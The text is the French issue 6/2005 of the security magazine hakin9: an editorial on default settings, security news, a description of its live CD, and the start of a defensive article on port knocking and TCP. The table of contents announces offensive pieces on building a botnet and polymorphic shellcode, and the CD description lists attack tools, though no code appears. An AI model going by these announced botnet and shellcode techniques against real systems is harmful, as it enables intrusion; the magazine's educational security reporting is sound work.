hakin9 - 2005 - 6

Actus

06

Marek Bettman, Tomasz Nowak Secrétaire de rédaction : Tomasz Nidecki

Catastrophe par défaut

Je me demande, si des investigations n'ont jamais été entreprise pour savoir combien d'infractions de sécurité sont dues à l'utilisation de paramètres par défaut aussi bien au niveau matériel que logiciel. En tout cas, mes propres observations m'ont étonné. Jetons un coup d'œil à quelques exemples pratiques. Disons que vous avez un switch Cisco, bien relié à votre réseau. Il fait tout ce qu'il devrait, le réseau fonctionne bien. Bien sûr qu'il le fait – les paramètres par défaut le garantissent. Mais ils le garantissent si bien, qu'un intrus à l'intérieur de votre réseau peut le fait ruiner plus rapidement, que vous pouvez cligner. Si les mots STP ou CDP ne vous disent pas grand chose, jetez un coup d'œil à la page 24 – un article sur les attaques au niveau de la couche liaison de données vous expliquera tout. Un autre exemple. Disons que vous venez juste d'acheter un logiciel pour réaliser un VPN. Il est compréhensible que vous ne vouliez pas que, chacun sache que des données valant des millions de dollars transitent chaque seconde sur Internet et quel logiciel vous utilisez pour acheminer ce flux. Donc, plus vous êtes près des paramètres par défaut, plus vous avez de chance que, non seulement votre logiciel soit détecté mais également qu'il fasse l'objet du fingerprinting (voir page 46). Pas s'éloignant de paramètres par défaut a toujours été une chose qui rend la vie de cracker plus facile. Si un cracker voulait écrire un virus qui affecterait la plupart des utilisateurs, ce cracker utiliserait les trous de sécurité dans les logiciels installés par défaut – Windows avec Outlook Express ou Internet Explorer. Plus vous êtes loin des paramètres par défaut, plus l'utilisateur est en sécurité. Les utilisateurs de Macs ont toujours été considéré comme plus en sécurité que les PCs à base de Windows et je crois que la cause principale à ceci était le fait qu'il y avait moins d'utilisateur Mac que d'utilisateur de PC. *NIX était également considérés comme sûr, jusqu'à ce que Linux arrive et qu'un certain nombre de personnes ont commencé à l'utiliser, par conséquent, plus de crackers se sont intéressés à lui. Les paramètres par défauts sont à mon avis la plus grosse menace de sécurité. Heureusement, certains programmeurs sont avertis et essaient de forcer les utilisateurs de leur logiciels, à lire le manuel et installer le logiciel correctement. La plupart des utilisateurs d'ordinateur lisent la presse adressé au grand public par défaut. Soyez sûrs. Lisez-nous à la place. Tomasz Nidecki [email protected]

4

hakin9 Nº 6/2005

Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.

CD-ROM – hakin9.live

08

Robert Główczyński, Tomasz Nidecki

On vous présente le contenu et le mode de fonctionnent de la version récente de notre principale distribution hakin9.live.

Dossier Port knocking depuis l'interieur

10

Martin Krzywinski

Cet article a pour but d'expliquer en quoi consiste la technique du port knocking. Vous apprendrez à mettre en place cette technique le plus simplement possible et utiliser un mécanisme plus complexe basé sur le programme Doorman. Les avantages et les défauts du port knocking sont décrits ici.

Focus Attaques de la couche deux du modèle OSI

24

Alfredo Andrés, David Barroso

Grâce à cet article, vous connaîtrez les attaques sur les protocoles fonctionnant à l’intérieur de la couche de liaisons de données. On vous décrit en quoi elles consistent, quelles sont leurs conséquences, comment en réaliser et comment s'en défendre.

Pratique La guerre des robots, ou comment fonctionnent les réseaux 36 d'ordinateurs zombies Massimiliano Romano, Simone Rosignoli, Ennio Giannini

Cet article a pour but d'expliquer le fonctionnement de robots/botnets. On vous présente les dangers liés à leur utilisation ainsi que leurs applications pratiques. On vous montre comment créer facilement un botnet personnel.

ArpAlert 0.4.10 Thierry Fournier

44

Cet article explique comment implémenter une détection de connexions illégales dans un réseau local à l'aide de l'outil ArpAlert.

www.hakin9.org

Le périodique est publié par Software-Wydawnictwo Sp. z o.o. Piaskowa 3, 01-067 Varsovie, Pologne Tél. +48 22 887 10 10, Fax. +48 22 887 10 11 www.hakin9.org

Fiche technique Détection et relevé d'empreintes de VPN IPsec

Directeur de la publication : Jarosław Szumski

46

Roy Hills

Les méthodes de détection de l'existence des réseaux VPN et de relevé d'empreintes digitales (en anglais fingerprinting) sont présentés. L'article explique comment fonctionne IPsec et pourquoi les protocoles utilisés dans les réseaux VPN permettent une identification facile des périphériques ou programmes réalisant ce service.

Programmation Plein contrôle ou accès de bas niveau au réseau

58

Konrad Malewski

L'article vous enseigne comment utiliser les bibliothèques WinPcap et libnet pour avoir un accès de bas niveau au réseau. Vous apprendrez comment écrire une application à l'aide de ces outils.

Créer un shellcode polymorphique

68

Imprimerie, photogravure : 101 Studio, Firma Tęgi Ekonomiczna 30/36, 93-426 Łódź Imprimé en Pologne/Printed in Poland Abonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 € DOM/TOM, étranger : nous consulter Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2005 Software-Wydawnictwo, tous les droits réservés Chef de produit : Magdalena Grzmiączka [email protected] Secrétaire de rédaction : Tomasz Nidecki [email protected] Préparation du CD : Robert Główczyński, Tomasz Nidecki Maquette : Anna Osiecka [email protected] Couverture : Agnieszka Marchocka Traduction : Grażyna Wełna, Iwona Czarnota, Marie-Laure Perrotey, Aneta Lasota Correction : Jean-François K@sparov, Gilles Gaffet, Pierre-Emmanuel Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale, Patrick Fernandez, Franck Ebel Les personnes intéressées par la coopération sont priées de nous contacter : [email protected] Abonnement : [email protected] Fabrication : Marta Kurpiewska [email protected] Diffusion : Monika Godlewska [email protected] Publicité : [email protected]

Michał Piotrowski

Si vous êtes intéressé par l’achat de licence de publication de revues merci de contacter : Monika Godlewska e-mail : [email protected] tél : +48 (22) 887 12 66 fax : +48 (22) 887 10 11

Éditorial

La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs.

La suite sur l’écriture du shellcode. Cette fois-ci, les shellcodes polymorphiques sont décrits. Leur détection est plus difficile que les simples shellcodes décrits dans le premier article de la série.

Faites attention à votre argent

80

Tomasz Nidecki

Qu'est-ce qui est le plus sûr : placer de l'argent dans des banques virtuelles ou au-dessous de votre oreiller ?

Dans le prochain numéro

82

Magdalena Grzmiączka

Les articles qui seront publiés dans le numéro de hakin9 à venir.

La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o.

La revue hakin9 est publiée en 7 versions : FR

PL

CZ

IT

DE

ES

EN

AVERTISSEMENT

Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données !

www.hakin9.org

hakin9 Nº 6/2005

5

Actus

Les créateurs de Zotob arrêtés

La police au Maroc et en Turquie a arrêté deux personnes responsables de la création et de la diffusion des vers Internet Zotob et Mytob dont l'activité a paralysé le travail de plusieurs sociétés et agences gouvernementales américaines. Les détenus sont Farid Essebar (marocain âgé de 18 ans) et Atilla Ekici (turc âgé de 21 ans). Selon les paroles de Louis M. Rigel de la section de lutte contre la criminalité électronique au FBI, Essebar a écrit le code du vers à la demande d'Ekici. Le vers attaquait les machines tournant sous la surveillance du système Microsoft Windows. Pour l'instant, le montant de la rémunération et le montant des pertes dues à l'attaque de Zatob et de ses mutations ne sont pas connus. Zotob et Mytob permettent les attaques suivantes contre les ordinateurs infectés. En plus, Zotob est capable de redémarrer Windows 2000. Il est possible d'accéder à distance à un ordinateur infecté grâce à une erreur dans le mécanisme système de détection du matériel Plug and Play. Pour attaquer un ordinateur, Zotob ne doit y démarrer aucunes applications. L'utilisateur risque donc de ne pas se rendre compte du danger auquel il est exposé. Le virus a apparu presque une semaine après que Microsoft ait publié l'avertissement concernant un trou dans les mécanises de sécurisation ainsi que le patch permettant d'éliminer le danger.

Le dernier numéro de PHRACK ?

Le 9 juillet, l'agence d'information BBC a publié sur sa page Internet une information sur la fermeture de l'un des plus populaires magazines Internet – PHRACK. PHRACK était durant les 20 dernières années le magazine le plus apprécié et le plus professionnel publiant les matériaux concernant aussi bien les mécanismes de sécurisation des réseaux informatiques que les méthodes d'attaque. Le 63ième numéro a été publié après un an de pause. Dans l'introduction, on peut lire que PHRACK n° 63 est vraiment la dernière édition ... élaborée par la rédaction actuelle et que le nouveau PHRACK 64 paraîtra probablement au tournant de 2006 et 2007.

6

hakin9 Nº 6/2005

De plus en plus de spyware

S

elon le rapport le plus récent établi par la société Webroot, la plupart des logiciels spyware viennent des États-Unis. La deuxième et la troisième place dans ce classement appartiennent respectivement à la Pologne et à la Hollande. Assurant une surveillance constante du danger provoqué par les logiciels espions, Webroot publie son rapport tous les trois mois. Le plus récent, paru le 23 août, examine pour la première fois la provenance géographique des spyware. Le classement de Webroot prenant en compte la division par pays de provenance concerne les pages utilisant les exploits. Selon les statistiques les plus récentes, le plus grand nombre de pages (adresses URL) installant des logiciels spyware en utilisant les exploits ont été retrouvé aux États-Unis (plus de 25 mille). La Pologne occupe la deuxième place en ce qui concerne le nombre des pièges qui attendent les internautes – le rapport de la société Webroot présente plus de 8 mille pages dangereuses venant de Pologne. En Hollande, il y a plus de 4 mille pages contenant des pièges. Les données concernant la provenance des logiciels spyware sont

ramassées par le scanner Phileas étant le premier système automatisé de détection de spyware sur Internet. Phileas est une sorte de robot réseau fouillant sans cesse les ressources Web à la recherche de nouveaux logiciels spyware cachés sur les pages Internet. À la base des données analysées, les laboratoires de Webroot font des mises à jour des bases de signatures pour le logiciel Webroot Spy Sweeper. Le nombre total des pages Internet (adresses URL) contenant des logiciels espions a quadruplé depuis le début 2005 en atteignant déjà le nombre de 300 mille d'adresses. En même temps, le nombre des signatures spyware uniques dans la base de Webroot a doublé dépassant récemment le nombre de 100 mille. Le rapport le plus récent de Webroot montre également la croissance du nombre des logiciels espions dans les ordinateurs de société – au dernier trimestre, le nombre des ordinateurs infectés dans les sociétés a augmenté de 19%. La version complète du rapport est disponible en téléchargement après s'être enregistré sur la page de l'éditeur – http ://www.webroot.com/.

200 mille d'euros volés par un directeur

E

n Finlande, un homme de 26 ans suspecté d'avoir pénétré dans un compte bancaire électronique et d'avoir volé 200 mille d'euros a été arrêté. Les données personnelles précises du détenu n'ont pas été rendues publiques. On suppose cependant que c'était un directeur du service de sécurité des données dans une filiale de GE Money (prêtant les services financiers) à Helsinki. Le suspect a volé la société où il travaillait. Selon le magazine finlandais Helsingin Sanomat, il est l'un des quatre détenus arrêtés à cause du vol commis en juin. Avec l'aide de deux complices, le suspect a copié un logiciel bancaire et les mots de passe vers un ordinateur portable de la société. Il a obtenu l'accès au compte bancaire

www.hakin9.org

en utilisant – pour éviter les soupçons – un réseau sans fil non sécurisé de son voisin. L'argent volé a été versé sur un autre compte de la société. Les premiers soupçons tombaient sur le propriétaire du réseau sans fil. La police a pu constater que celui-ci n'avait pas participé au vol. L'analyse des journaux réseau a permis de révéler une adresse MAC de l'ordinateur portable étant la propriété de GE Money. L'auteur du vol a été arrêté après que l'on ait réussi à trouver un lien avec l'ordinateur portable de la société utilisé pour le vol grâce à la compatibilité des adresses MAC. Le quatrième membre du groupe a été arrêté alors qu'il essayait de retirer 5000 euros du compte observé. L'argent volé a été récupéré.

Actus

Trous de sécurité dans Windows Vista

U

n pirate informatique venant d'Autriche portant le pseudonyme Second Part To Hell a écrit quelques logiciels pouvant être considérés comme les premiers virus pour un nouveau produit de Microsoft. Les vers utilisent les trous de sécurité dans la nouvelle ligne de commandes du système Windows Vista nommée Monad. Le code des nouveaux vers a été publié dans un guide de créateurs de virus supporté par le groupe clandestin Ready Ranger Liberation Front. Second Part To Hell – appelé également Mario – a créé les nouveaux virus le 21 juillet, à savoir un jour après que Microsoft a présenté officiellement la ligne de commandes utilisée dans la version la plus récente de Windows. La société finlandaise F-Secure, expert dans le domaine de la sécurité informatique, a nommé la famille des nouveaux virus Danom, ce qui est l'anagramme du mot Monad. Mikko Hyppönen, chef du bureau d'études de F-Secure, en examinant le code de nouveaux virus a constaté qu'ils avaient un caractère destructif

mais qu'ils n'étaient pas capables de porter des préjudices importants à l'utilisateur de Vista. L'expert finlandais a été surpris non par la création d'un virus pour Vista mais par la rapidité de sa naissance. Huit jours se sont à peine écoulés depuis la date de mise à disposition de la version de test du nouveau système d'exploitation – a souligné Hyppönen. Un peu de temps après, Microsoft a annoncé que Monad ne ferait pas partie du système Windows Vista qui paraîtra bientôt. Selon le représentant de Microsoft, la ligne de commandes sera pourtant intégrée avec le système suivant dédié aux postes serveur. Ce système nommé pour l'instant Longhorn Server doit sortir en 2007. Monad devait faire partie de Vista. Vu cela, les codes malveillants ont été vite considérés comme premiers virus pour Windows Vista. La déclaration de Microsoft dit clairement que les virus portant atteinte à Monad ne seront pas dangereux pour la version finale du nouveau système d'exploitation.

Le FBI recrute les pirates informatiques

D

efcon, conférence internationale des pirates informatiques à Las Vegas, n'attire pas seulement les passionnés de l'informatique. Les cours sont également fréquentés par les hommes en noir. Ils ne participent pas aux séminaires, aux démonstrations ou à d'autres attractions par plaisir ou pour s'éduquer en matière de sécurité informatique. Ils sont là pour recruter les jeunes hackers doués, pour le FBI, afin qu'ils travaillent pour le compte du gouvernement des États-Unis. Combien de pirates y consentent ? Plusieurs. Richard Thieme, expert en sécurité, raconte que lors d'un cours organisé au Pentagon pour les hommes du gouvernement et portant sur les technologies de pointe, il a reconnu quelques de visages parmi le public présent. D'où il connaissait tant de spécialistes travaillant pour le gouvernement ? Tous étaient des participants à la conférence Defcon.

La coopération avec les jeunes geeks informatiques doués commence souvent au lycée. Si le futur hacker décide de travailler pour le gouvernement, le FBI s'oblige à payer ses études et une formation supplémentaire en matière de sécurité réseau. Le fait que Defcon est fréquenté par les agents fédéraux est connu depuis longtemps. Il existe même un jeu de terrain dont l'objectif est de démasquer les agents. Il suffit de rencontrer lors de la conférence un homme correspondant à un agent FBI typique ; le costume sombre, les lunettes foncées et les chaussures cirées et de crier agent ! Il n'y a pas de perdants dans le jeu. Aussi bien celui qui a réussi à identifier un agent fédéral que l'agent lui-même reçoivent les t-shirts de Defcon ; pour l'agent, c'est un t-shirt avec une inscription je suis agent fédéral.

www.hakin9.org

Internet Explorer dangereux pour Windows Depuis un certain temps, un exploit pour un nouveau trou de sécurité toujours non patché dans le navigateur Internet Explorer est disponible sur le réseau. Tout un chacun préparant une page Web appropriée et y invite l'internaute surfant à l'aide du navigateur de Microsoft peut exécuter avec succès n'importe quelle commande dans le système de la victime inconsciente. Comme disent les communiqués, même le système Windows XP avec SP2 installé est vulnérable à l'attaque – la condition en est la présence de la bibliothèque msdds.dll qui n'est pas installée comme un élément standard du système Windows mais qui constitue un élément des logiciels utilisés communément tels que Microsoft Office ou Visual Studio. L'erreur a été définie comme critique. Jusqu'à ce que les patchs adéquats ne soient mis à disposition par Microsoft, les experts conseillent de ne pas utiliser Internet Explorer, de désactiver le support d'ActiveX ou de supprimer msdds.dll du système, ce qui peut entraîner pourtant le mauvais fonctionnement de certaines applications.

Claviers d'écran – une illusion de sécurité

Les analystes d’Anti-Phishing Working Group (APWG) avertissent que la technique appelée screenscraper permettant d'intercepter les données de la victime bien que celle-ci utilise un clavier d'écran est mise en œuvre de plus en plus souvent. Les keyloggers n'étaient pas capables d'intercepter les données confidentielles car en utilisant un clavier d'écran, les données sont entrées à l'aide de la souris. Cependant, les logiciels espions utilisant la screenscraper permettant de créer des captures d'écran – lorsqu'une victime entre les données à l'aide de la souris, le logiciel fait une capture d'écran et l'envoie à l'agresseur. Les experts d'APWG ont aussi informé que le nombre des rapports concernant les attaques des phishers a diminué dernièrement – en juin 2005, 15050 déclarations ont été signalées tandis qu'en juillet, il y en avait 14135.

hakin9 Nº 6/2005

7

CD-ROM

hakin9.live

L

e CD joint au magazine contient hakin9.live (h9l) version 2.7-ng – une version bootable de Linux contenant des outils, de la documentation, des tutoriaux et des matériaux complémentaires aux articles. Pour commencer le travail avec hakin9.live, il suffit de démarrer l'ordinateur à partir du CD. Après le démarrage du système, vous pouvez ouvrir la session en tant qu'utilisateur hakin9 sans mot de passe. Dans la présente version, la structure des répertoires a été modifiée :

seaux et quelques applications ont été complétés sur ce CD. Kismet a été compilé avec la gestion de GPS. Dans cette version de h9l, nous avons ajouté les programmes suivants : • • • •

• •

• • • •

8

doc – la documentation au format HTML, hit – les hits de ce numéro : 90 jours d’essai de l'excellent outil de surveillance réseaux : Anasil 3.1 et la version d'essai de 60 jours du programme anti-virus ArcaVir, art – matériaux complémentaires aux articles : listings, scripts, programmes indispensables, tut – tutoriaux, add – livres et autres documents au format PDF, rfc – documents contenant les RFC actuels (archive .zip).

• •

Wavemon – le moniteur de réseaux sans fils (ncurses), Wellenreiter – l'outil pour la détection de réseaux sans fils (avec interface graphique), Paros – le proxy pour les tests des applications HTTP/HTTPS, Les navigateurs de réseaux SMB : LinNeighborhood et Xsmbrowser, Raccess – un excellent outil de tests de pénétrations à distance, Yersinia – l'outil pour les attaques des protocoles de couche de liaison de données.

Actuellement, l'environnement graphique par défaut est Fluxbox avec le gestionnaire de fichiers ROX. Il est possible de lancer l'environnement graphique très convivial Xfce 4 en version 4.2.2 (Session->Xfce session dans le menu d'ouverture de session).

Les anciens matériaux se trouvent dans les sous-répertoires _arch, par contre les nouveaux – dans les répertoires principaux suivant la structure ci-dessus. Si vous parcourez le CD, cette structure est disponible dans le sous-répertoire /mnt/cdrom. La version 2.7-ng h9l est basée sur la distribution Gentoo Linux et les scripts livecd-tools. Les outils non disponibles dans le répositoire Gentoo sont installés à partir des paquets du répertoire /usr/local/portage ou chargés dans le répertoire /usr/local/bin. Le système travaille sous la surveillance du noyau 2.6.12-r9. Le paquet ISAPNPTOOLS et les pilotes IPW2100 ont été ajoutés. Certains outils non liés à la sécurité (Aspell, CUPS, jeux) ont été supprimés, par contre les outils pour les tests ré-

Tutoriaux et documentation

Figure 1. Nouveaux outils indispensables

Figure 2. Environnement graphique alternatif – Xfce 4

hakin9 Nº 6/2005

La documentation contient, entre autres, les tutoriaux préparés par la rédaction avec les exercices pratiques. Les tutoriaux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous problèmes relatifs aux différentes versions de compilateurs, à la localisation de fichiers de configuration ou autres options nécessaires pour démarrer les programmes dans un environnement donné. Dans la présente version de hakin9.live, outre les tutoriaux des numéros précédents mis à jour, un nouveau tutoriel a été ajouté. Il décrit la plus simple réalisation possible du port knocking à l'aide des outils SendIP et tcpdump. Le tutoriel complète l'article de Martin Krzywinski (cf. la page 10). l

www.hakin9.org

S’il vous est impossible de lire le CD, et ce dernier n’est pas endommagé mécaniquement, essayez de le lire au moins dans 2 lecteurs.

En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante : [email protected]

Port knocking depuis l'intérieur Dossier Martin Krzywinski

Degré de difficulté

Laisser un port ouvert au public, c'est comme inviter un intrus. Hélas, la plupart des services comme HTTP ou SMTP doivent rester ouverts à tout le monde. Certains services, les plus cruciaux, peuvent être toutefois accessibles uniquement à la demande. C'est ici que le mécanisme de port knocking intervient.

S

i vous lancez des services de réseau d'authentification forte (p. ex. SSH) sur votre serveur, il est probable que vous employez les processus d'authentification et d'encodage de services pour faire une distinction entre les utilisateurs légitimes et illégitimes. L'utilisateur légitime a un mot de passe et l'utilisateur illégitime ne l'a pas. Pour que le service identifie ce fait, l'utilisateur illégitime a une possibilité d'interagir avec le service. Si vous en tenez compte, les méthodes de password guessing (deviner les mots de passe) ne permettent pas d'entrer facilement dans un système bien maintenu ; l'intrus essayera alors de contourner l'élément d'authentification du service et d'augmenter ses privilèges, en explorant des bogues connus, comme le débordement de mémoire tampon. Puisque le zero-day exploit (vulnérabilité non publique) peut survenir à tout moment, maintenir un service de réseau n'est pas une activité passive. Il est nécessaire de suivre les conseils concernant les vulnérabilités et de suivre les correctifs pour boucher les failles de sécurité. Mais il faut l'admettre : lire des conseils est tellement ennuyeux, ingrat et complètement inutile en 99.99 % de cas. Un ou deux ans peuvent s'écouler avant que la vulnérabilité de

10

hakin9 Nº 6/2005

votre version de service soit trouvée et décrite ; ou aussi bien, cela peut ne jamais arriver. Que peut-on donc faire ? Premièrement, il faut prendre en compte le fait que les services avec une base d'utilisateurs finis n'ont pas besoin de laisser ses ports ouverts tout le temps. Contrairement aux services publics, comme SMTP ou HTTP, qui doivent recevoir des connexions de tout le

Cet article explique... • • • •

ce qu'est le port knocking, comment il fonctionne et à quoi il sert, comment écrire la plus simple implémentation du port knocking, comment configurer le programme Doorman pour un port knocking avancé, comment le port knocking peut être détecté et compromis.

Ce qu'il faut savoir... • •

www.hakin9.org

vous devriez avoir des bases des réseaux TCP/IP, vous devriez avoir des compétences élémentaires d'administration de Linux.

Port knocking

Port knock – information à travers des ports fermés

Contrairement aux idées répandues, vous n'avez pas besoin d'ouvrir les ports pour transmettre des données. Même si les connexions sont rejetées par un filtre IP, ces tentatives sont loguées et par conséquent, il est possible d'y chercher des informations. Dans le cas le plus simple, prenez les ports A et B, tous les deux fermés et dépourvus d'application d'écoute. Si le filtre IP est configuré pour contrôler les paquets entrants à ces ports, il est simple d'analyser les journaux de filtres et d'identifier la séquence de port (p. ex. ABAABBBAA) associée au client IP. Cette séquence de port peut être utilisée pour encoder des informations. L'encodage peut servir d'une carte entre une séquence de port spécifique et une information (p. ex. ABA = ouvrir le port 22 pour 15 minutes, ABB = fermer le port 22, BAA = fermer le port 22 et empêcher des connexions complémentaires). L'encodage peut également avoir une forme binaire où A/B représente 0/1.

monde partout et ne nécessitent pas en général une authentification, SSH est un service qui permet d'entrer uniquement aux utilisateurs dotés de mots de passe. Imaginez que vous êtes capables de garder le port SSH (tcp/22) fermé et par conséquent, de rendre le service inaccessible et protégé contre les vulnérabilités jusqu'à ce que le service soit demandé par l'un de vos utilisateurs légitimes. Comment alors le service peut-il être demandé alors que les ports sont fermés et aucune connexion n'est possible ? C'est le moment où le mécanisme de port knocking intervient. Le port knocking permet à l'utilisateur de demander d'ouvrir le port devant un service réseau. Cette demande a une forme d'une séquence passive des paquets d'authentification qui traversent les ports fermés du serveur (voir l'Encadré Port knock – information à travers des ports fer-

més). Il est possible d'envoyer des informations à travers des ports fermés, même si ces ports sont fermés et aucun service de réseau n'écoute. Ceci est possible car votre pare-feu ou un autre programme utilitaire, comme cpdump, peut être configuré pour contrôler tous les paquets entrants, même s'ils n'arrivent jamais à des applications comme SSH.

Limites de filtrages IP

Une manière de limiter une section croisée de votre service de réseau consiste à utiliser un filtre IP (voir l'Encadré Filtres IP), comme netfilter/ iptables. Le filtre serait configuré pour ne permettre que les connexions provenant des adresses IP d'où votre base d'utilisateurs se connecte. Cette liste comprend des bureaux et des domiciles distants. Cette approche se prête très bien pour limiter le nombre des sources

Filtres IP

Le rôle d'un filtre IP consiste à contrôler le passage des paquets à travers la pile TCP/IP, en se basant sur le contenu de leurs en-têtes. Par conséquent, un filtre IP peut empêcher les paquets originaires des adresses MAC ou IP spécifiques d'aller plus loin dans la pile, en défendant la livraison du paquet à une application. Un filtre IP (p. ex. netfilter/iptables) opère sur la couche 3 de OSI de la pile TCP/IP (pour plus d'informations sur les couches OSI, reportez-vous à l'Encadré Sept couches du modéle OSI dans l'Article Attaques de la couche deux du modèle OSI dans le numéro actuel de hakin9) et contrôle le flux de paquets, basés sur le contenu de leurs en-têtes IP. Ces en-tête comprennent les adresses IP source et cible, le protocole (TCP, UDP, etc.) et TTL. Actuellement, la plupart des filtres IP, y compris iptables, sont capables d'aller plus bas (couche 2) et plus haut (couche 4) et de filtrer les paquets via des informations de bas niveau (MAC adresse) ainsi que des informations de haut niveau, trouvées dans les en-têtes de protocole (TCP ou UDP). Tout cela inclut les ports source et cible et, pour TCP, des informations supplémentaires, comme le numéro de la séquence et les drapeaux (SYN, ACK, FIN et d'autres).

www.hakin9.org

d'où les connexions sont autorisées mais elle est restreinte en ce qui concerne la capacité de gérer les utilisateurs mobiles ou les bureaux/ domiciles pour lesquels les adresses IP externes sont attribuées de manière dynamique. Si vos utilisateurs changent souvent leurs ordinateurs ou réseaux, il n'est pas pratique de maintenir une liste changeant des adresses IP d'où les connexions sont autorisées. C'est particulièrement important lorsque les utilisateurs essayent de se connecter à partir des emplacements douteux, comme cybercafés ou universités. L'utilisation d'un filtre IP crée une hypothèse selon laquelle une adresse IP ou une adresse réseau de confiance n'est utilisée que par les utilisateurs de confiance. Ce n'est pas toujours vrai, en particulier, lorsque l'adresse IP de confiance est une passerelle d'un grand réseau interne. Il est alors facile d'imaginer un cas où les attaques et les connexions légitimes peuvent provenir d'une même adresse IP. Le port knocking fournit un mécanisme permettant de traiter tous ces points. Le port knocking permet d'éviter l'emploi de correspondance entre une adresse IP et un utilisateur individuel. Les utilisateurs peuvent s'identifier au moyen de leurs jetons d'authentification, sans demander l'ouverture de ports sur le serveur. Par conséquent, le port knocking permet à un utilisateur spécifique de se connecter de n'importe quelle adresse IP au lieu de permettre à n'importe quel utilisateur de se connecter d'une adresse IP spécifique. Cette distinction est importante car le nombre de périphériques individuels, d'où des utilisateurs peuvent se connecter, augmente sans cesse (ordinateurs de bureau, ordinateurs à domicile, ordinateurs portables, PDA, téléphones mobiles, etc.).

Besoins

Si vous êtes en train de lire cet article, il est très probable que vous disposez de tout ce qu'il faut pour protéger vos systèmes au moyen de port knocking. Premièrement, vous avez besoin

hakin9 Nº 6/2005

11

Dossier

Paquets et datagrammes

Un paquet est un bloc de données, contenant toutes les informations, nécessaires pour les délivrer (voir la Figure 1). Pensez à une lettre postale. Lorsque des paquets traversent Internet, des périphériques réseau divers analysent et manipulent les paquets sur leur chemin de la destination à la source. Un datagramme est un format spécifique de paquet, défini par le protocole IP (voir la Figure 2). Le datagramme contient l'en-tête IP, l'en-tête spécifique au protocole (TCP, UDP, etc.) et la charge de données. Dans un paquet Ethernet, le datagramme est une charge de données à la couche réseau (couche 3 de OSI).

Figure 1. Paquet envoyé à l'aide des protocoles TCP ou UDP contient trois en-têtes : Ethernet (22 octets), IP (20 octets) et TCP ou UDP (20 ou 8 octets), une section de charge de données à longueur variable et une somme de contrôle de trame finale, ajoutée à la couche accès du réseau

d'un pare-feu d'adressage, comme iptables. Ensuite, vous avez besoin d'un nombre suffisant de ports nonutilisés pour le contrôle de frappes. Si l'authentification s'effectue via une séquence de frappes au port, vous aurez besoin en théorie de deux ports. Toutefois, plus vous avez de ports (p. ex. 1024, voire 16355), plus de données d'authentification complexes, et donc plus souples, peuvent être encodées

Figure 2. Les en-têtes Ethernet, IP, TCP et UDP contiennent des informations nécessaires à un transport réussi de données de leurs couches respectives

12

hakin9 Nº 6/2005

www.hakin9.org

UDP ou TCP pour le port knocking

Il appartient au programmeur de décider s'il utilise TCP ou UDP. Les deux ont des qualités et aucun n'a d'inconvénients importants. Les implémentations du port knocking, qui utilisent TCP, se servent du paquet SYN pour authentifier le client, bien que le drapeau SYN ne soit pas rigoureusement requis. Puisque le client décide lui-même d'envoyer les séquences de paquet, SYN ou autre chose, à n'importe quel socket distant, la combinaison de ports, auxquels sont envoyés ces paquets, peut être utilisée pour encoder les données. Puisque le serveur ne confirme pas l'arrivée des paquets par un accusé de réception (port knocking est passif), certaines implémentations choisissent d'utiliser UDP comme protocole, ce qui est un choix plus naturel dans ce cas-là. En ce qui concerne les avantages de TCP, on peut dire que l'en-tête TCP est plus grand et capable de contenir davantage d'informations d'authentification. Si un grand nombre de paquets TCP est envoyé, il est important que le serveur soit capable de refaire leur ordre initial ; cet ordre peut être recréé au moyen du numéro d'identification de séquence dans chaque paquet. UDP, de l'autre côté, a un en-tête moins important (8 octets versus 20 octets) et demande de placer les données dans la charge du paquet. On peut se demander par conséquent si UDP est une manière plus pratique et plus élégante d'envoyer des informations dans un seul paquet sans accusé de réception. Un seul paquet UDP est toujours plus furtif qu'une séquence caractéristique des paquets TCP de ports divers.

Port knocking

TCP et three-way-handshake

TCP est un protocole orienté connexion, fiable et doté de flots d'octets. Tous ces termes ont des définitions spécifiques dans le contexte de transfert de données. Les aspects de la communication TCP peuvent être renversés dans un système de port knocking pour permettre d'effectuer une authentification à travers un port fermé. Premièrement, la connexion TCP ouvre un socket et écoute passivement les connexions entrantes. Un socket est une combinaison d'adresses IP, de protocoles et de ports. Un client distant, qui souhaite se connecter au socket du serveur, associé en général à un service spécifique (p. ex. SSH), enverra un paquet TCP avec l'ensemble de drapeaux SYN (synchronize sequence numbers – numéros de séquence synchronisés) pour indiquer une requête de connexion. L'objectif du paquet SYN consiste à demander la valeur initiale d'un index intégré dans l'en-tête TCP (numéro de séquence) pour permettre au client de récréer l'ordre initial de paquets. Si le filtre IP permet de tenter la connexion, l'application adaptée à TCP répondra en renvoyant un paquet SYN/ACK (ACK : accusé de réception) contenant le numéro initial de séquence. Le client confirmera l'accusé de réception en envoyant un paquet ACK et en terminant ainsi la connexion. Le préambule d'établissement de connexion fait en sorte que TCP soit un protocole orienté connexion. TCP est aussi un protocole de flot d'octets car il envoie des données de manière ordonnée ; cette démarche est possible grâce aux numéros de séquence. Par conséquent, le client peut recevoir des paquets dans n'importe quel ordre et se servir de numéros de séquence pour rétablir l'ordre initial. TCP est un protocole fiable car pendant la connexion TCP, le client confirme régulièrement qu'il avait bien reçu des données. Si l'expéditeur ne reçoit aucun accusé de réception après une durée déterminée, il enverra les données de nouveau.

États de ports

